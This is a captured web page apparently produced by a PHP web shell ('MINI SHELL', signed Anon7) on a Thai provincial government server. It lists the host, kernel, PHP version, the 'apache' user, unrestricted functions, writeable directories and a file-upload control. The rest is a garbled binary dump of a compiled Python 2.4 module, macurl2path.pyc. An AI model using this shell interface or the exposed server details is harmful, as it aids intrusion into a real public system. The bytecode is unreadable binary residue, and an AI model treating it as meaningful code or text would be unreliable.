MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/macurl2path.pyc
mò
Ï=Ec@sddZdkZdkZddgZd„Zd„Zd„Zd„ZedjoeƒndS(	sqMacintosh-specific module for conversion between pathnames and URLs.

Do not import directly; use urllib instead.Nturl2pathnametpathname2urlcCsàti|ƒd}|o|djo
td‚n|d djo|d}n|d djo
td‚n|idƒ}d}xÏ|t|ƒjoğ||d	jo||=q‰||d
joB|djo5||ddjo ||d|d5|d}q‰||djo-|djo ||ddjo||=q‰|d}q‰W|dpd
i	|dƒ}nZd}x=|t|ƒjo)||d
jod||<|d}qƒWd
d
i	|ƒ}ti|ƒS(s{OS-specific conversion from a relative URL of the 'file' scheme
    to a file system path; not recommended for general use.itfiles(Cannot convert non-local URL to pathnameis///is//t/t.s..itt:N(Rs..(turllibt	splittypetpathnamettptRuntimeErrortsplitt
componentstitlentjointrvtunquote(R	RRR
R
((t!/usr/lib/python2.4/macurl2path.pyR
s:

33$
cCsċd|jo
td‚n|idƒ}|ddjo|d=n|ddjo|d=nx9tt|ƒƒD]%}||djod||<qtqtWtt|ƒ}t	i
i|ƒoddi|ƒSndi|ƒSdS(	s{OS-specific conversion from a file system path to a relative URL
    of the 'file' scheme; not recommended for general use.Rs*Cannot convert pathname containing slashesRiRi˙˙˙˙s..N(
R	RRR
trangeRRtmapt_pncomp2urltostpathtisabsR(R	RR
((RR4s 

cCsti|d ddƒ}|S(NitsafeR(Rtquotet	component(R((RRKscCswx2dddddgD]}d|t|ƒfGHqWx;ddd	d
ddd
dgD]}d|t|ƒfGHqTWdS(Ns
index.htmlsbar/index.htmls/foo/bar/index.htmls	/foo/bar/Rs%r -> %rsdrive:s
drive:dir:sdrive:dir:files
drive:fileRs:files:dir:s	:dir:file(turlRRR(RR((RttestOst__main__(	t__doc__RRt__all__RRRRt__name__(R!RRRRRR((Rt?s			*			


Anon7 - 2021